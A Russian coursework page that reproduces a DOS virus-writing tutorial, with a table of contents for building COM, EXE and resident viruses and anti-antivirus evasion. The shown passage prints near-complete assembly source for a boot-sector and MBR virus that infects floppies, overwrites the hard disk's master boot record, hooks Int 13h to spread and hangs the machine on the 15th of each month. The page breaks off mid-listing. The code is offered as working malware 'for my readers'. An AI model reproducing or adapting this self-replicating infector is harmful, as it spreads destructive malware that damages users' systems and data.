Вирусы

Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа

Описание работы

Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-

Содержание

ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82


ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82

ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112

ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного

Работа содержит 1 файл

virur.doc

— 1.23 Мб (Скачать)

    состоит в следующем  : при старте запускающей  про-

    граммы из  командной  строки или из - под  оболочки

    заразить диск в дисководе  " A ".Причем диск совсем

    не  обязательно  должен  быть  загрузочным. Далее с

    этого диска  нужно  загрузиться на  той машине, ко-

    торую требуется  заразить. При  этом вирус заразит

    MBR  ее жесткого диска.  Теперь,  после  загрузки с

    винчестера, вирус  будет  инфицировать все читаемые

    на зараженной  машине  дискеты  и  начнет распрост-

    раняться.

    Исходя из сказанного  выше, можно предложить  такое

   решение :

 

    installer: lea si,my_prg          ;Подменим коман-

               mov byte ptr [si],33h  ;ду перехода на

    mov byte ptr [si + 1],0c0h        ;первые три бай-

    mov byte ptr [si + 2],8eh         ;та кода вируса

                                      ;Попробуем про-

                                      ;честь BOOT -

                                      ;сектор дискеты.

               mov ax,0201h           ;

               mov cx,01h             ;

               xor dx,dx              ;

               lea bx,bufer           ;

               int 13h                ;

               jc error               ;

                                      ;

               push es                ;Получим пара-

               mov ah,08h             ;метры дискеты

               xor dl,dl              ;

               int 13h                ;

               jnc all_good           ;

               cmp ah,01h             ;

               jne error              ;

               mov dh,01h             ;

               mov ch,27h             ;

    mov cl,byte ptr bufer [18h]       ;

    all_good:  xor dl,dl              ;

               mov num_head,dx        ;

               mov cyl_sect,cx        ;

               pop es                 ;

                                      ;Перепишем нас-

                                      ;тоящий BOOT в

                                      ;последний сек-

                                      ;тор последней

                                      ;дорожки на пос-

                                      ;ледней стороне

               mov ax,0301h           ;

               lea bx,bufer           ;

               int 13h                ;

               jc error               ;

                                      ;Сформируем код,

                                      ;который нужно

                                      ;записать на

                                      ;дискету вместо

                                      ;исходной BOOT -

                                      ;записи

               mov additor,055h       ;

               lea si,bufer + 55h     ;

               lea di,my_prg          ;

               mov cx,prg_lenght      ;

    copy_boot: mov al,byte ptr [di]   ;

               mov byte ptr [si],al   ;

               inc si                 ;

               inc di                 ;

               loop copy_boot         ;

    mov word ptr bufer[0],053ebh      ;

                                      ;И запишем его

                                      ;в первый

                                      ;сектор нулевой

                                      ;дорожки нулевой

                                      ;стороны дискеты

               mov ax,0301h           ;

               mov cx,01h             ;

               mov dx,0               ;

               lea bx,bufer           ;

               int 13h                ;

               jnc prg_end            ;

                                      ;

    error:     mov ah,09h             ;Если была оши-

               lea dx,err_mes         ;бка - выведем

               int 21h                ;сообщение о ней

                                      ;

    prg_end:   mov ax,4c00h           ;Завершаем за-

               int 21h                ;пускающую про-

                                      ;грамму

    err_mes    db   'Error !$'        ;Сообщение

    bufer      db   512 dup ( 0 )     ;В этот буфер

                                      ;считывается

                                      ;BOOT - сектор

                                      ;заражаемой

                                      ;дискеты

    prg ends                          ;

    end my_prg                        ;

 

    Если вирусу не удалось  заразить диск, то  выдается

    сообщение " ERROR ! ". В этом случае попытку зара-

    жения просто нужно  повторить.

    И еще - если вы хотите  узнать, зачем  понадобились

    первые  четыре команды   инсталлятора, вам  следует

    посмотреть  приводимый  ниже полный текст  вирусной

    программы. Обратите  внимание на первую команду, а

    именно : " jmp installer ".Инсталлятор  замещает ее

    кодом, устанавливающим  собственный стек  вируса, и

    поэтому в  заражаемые  сектора эта  команда не  по-

    падет.

 

 

              1.15 Текст загрузочного вируса

 

    Ниже представлен текст  предлагаемого  загрузочного

    вируса :

 

    ; _______________________________________________

    ;|                                               |

    ;| BOOT & MBR virus                              |

    ;| Especially for my readers !                   |

    ;|_______________________________________________|

 

    prg segment

       assume cs:prg,ds:prg,es:prg,ss:prg

          org 100h

 

    my_prg:    jmp installer          ;

               db 0d0h                ;

               mov sp,7bfeh          ;Установка собс-

                                      ;твенного стека

               push ax                ;Сохраним в сте-

               push bx                ;ке используемые

               push cx                ;регистры

               push dx                ;

               push si                ;

               push ds                ;

               push es                ;

               pushf                  ;

                                      ;

               push cs                ;DS = CS

               pop ds                 ;

                                      ;

    sub word ptr ds:[0413h],2         ;"Отрежем" у DOS

               mov ax,ds:[0413h]      ;два килобайта

               mov cl,6               ;памяти и вычис-

                                      ;лим

               sal ax,cl              ;сегментный ад-

                                      ;рес,по которому

                                      ;находится полу-

                                      ;ченный блок

               mov es,ax              ;Поместим адрес

                                      ;в ES

               xor si,si              ;И скопируем код

               mov cx,prg_lenght      ;вируса длиной

    prg_copy:  db 8ah                 ;"prg_lenght" в

               db 9ch                 ;память по адре-

    additor    db 00h                 ;су ES : 0000h

               db 7ch                 ;Сам код при за-

               mov byte ptr es:[si],bl;грузке помещае-

               inc si                 ;тся BIOS по ад-

               loop cs:prg_copy       ;ресу 0000:7C00h

                                      ;

               push ax                ;Запишем в стек

               mov ax,to_read_boot    ;адрес ES:to_re-

               push ax                ;ad_boot и осу-

               db 0cbh                ;ществим переход

                                      ;на этот адрес

    to_read_boot   equ   $ - my_prg   ;

                                      ;

    read_boot: push cs                ;DS = CS

               pop ds                 ;

                                      ;

               xor si,si              ;SI = 0

               mov es,si              ;ES = SI

                                      ;Получим вектор

                                      ;Int 13h и сох-

                                      ;раним его :

    mov bx,word ptr es:[4ch]          ;

    mov word ptr old_13h - 100h,bx    ;

    mov bx,word ptr es:[4eh]          ;

    mov word ptr old_13h_2 - 100h,bx  ;

                                      ;

               mov si,vvv - 100h      ;

    mov word ptr es:[si],to_new_13h   ;И установим

    mov word ptr es:[si + 2],cs      ;вектор Int 13h

                                      ;на вирусный об-

                                      ;работчик

                                      ;

               mov dx,num_head - 100h ;Считаем настоя-

               mov cx,cyl_sect - 100h ;щий загрузочный

               mov bx,7c00h           ;сектор в память

               mov ax,0201h           ;по адресу

               int 13h                ;0000:7C00h

 

               push cs                ;ES = CS

               pop es                 ;

                                      ;

               mov dl,0080h           ;Считаем MBR

               call cs:read_mbr       ;винчестера

               jc cs:to_quit          ;по адресу

                                      ;CS:0400h, при-

                                      ;чем загрузка

                                      ;сейчас может

                                      ;производиться

                                      ;и с дискеты !

    cmp byte ptr ds:[400h],33h        ;MBR уже зара-

               je cs:to_quit          ;жена ?

                                      ;

               mov dx,0080h           ;Нулевая головка

                                      ;первого жестко-

                                      ;го диска

               mov cx,000ch           ;Сектор 12,

                                      ;дорожка 0

               mov dl_save - 100h,dl  ;

                                      ;Сохраним эти

                                      ;параметры .

               call cs:write_mbr_last ;Кроме того,

                                      ;перепишем нас-

                                      ;тоящую MBR в

                                      ;сектор 12

               jc cs:to_quit          ;нулевой дорожки

                                      ;на нулевой сто-

                                      ;роне HDD .

               xor si,si              ;Сформируем код

               mov additor - 100h,00h ;для записи его

               mov cx,prg_lenght      ;

    copy_vir_mbr:                     ;на место исход-

               mov al,byte ptr ds:[si];ной MBR

    mov byte ptr ds:[si + 400h],al    ;

               inc si                 ;

               loop cs:copy_vir_mbr   ;

                                      ;

               mov dx,0080h           ;Запишем этот

               call cs:write_mbr      ;код в  первый

                                      ;сектор нулевой

                                      ;дорожки нулевой

                                      ;стороны винчес-

                                      ;тера

    to_quit:   mov ah,04h             ;Наш

               int 1ah                ;вирус при

               jc cs:bad_clock        ;загрузке по

               cmp dl,15h             ;15 - м числам

    vis:       je cs:vis              ;вешает систему

    bad_clock: popf                   ;Восстановим из

               pop es                 ;стека

               pop ds                 ;регистры

               pop si                 ;

               pop dx                 ;

               pop cx                 ;

               pop bx                 ;

               pop ax                 ;

                                      ;

               db   0eah              ;И отдадим упра-

               dw   7c00h             ;вление настоя-

               dw   0000h             ;щей загрузочной

                                      ;записи ( MBR )

 

                                      ;Далее следует

                                      ;вирусный обра-

                                      ;ботчик Int 13h

    to_new_13h equ   $ - my_prg       ;

                                      ;

    new_13h:   pushf                  ;Сохраним флаги

               cmp dl,01h             ;Операция с дис-

                                      ;ководом " A "

                                      ;или " B " ?

               ja cs:to_sys_13h       ;Нет !

               cmp ah,02h             ;Чтение ?

               jne cs:to_sys_13h      ;Нет !

               cmp ch,00h             ;Дорожка " 0 " ?

               jne cs:to_sys_13h      ;Нет !

               cmp cl,01h             ;Сектор-первый ?

               je cs:to_sys_13h       ;Да !

               call cs:boot_infect    ;Вызовем проце-

                                      ;дуру заражения

                                      ;BOOT - секторов

                                      ;дискет

    to_sys_13h:                       ;

               popf                   ;Восстановим

Информация о работе Вирусы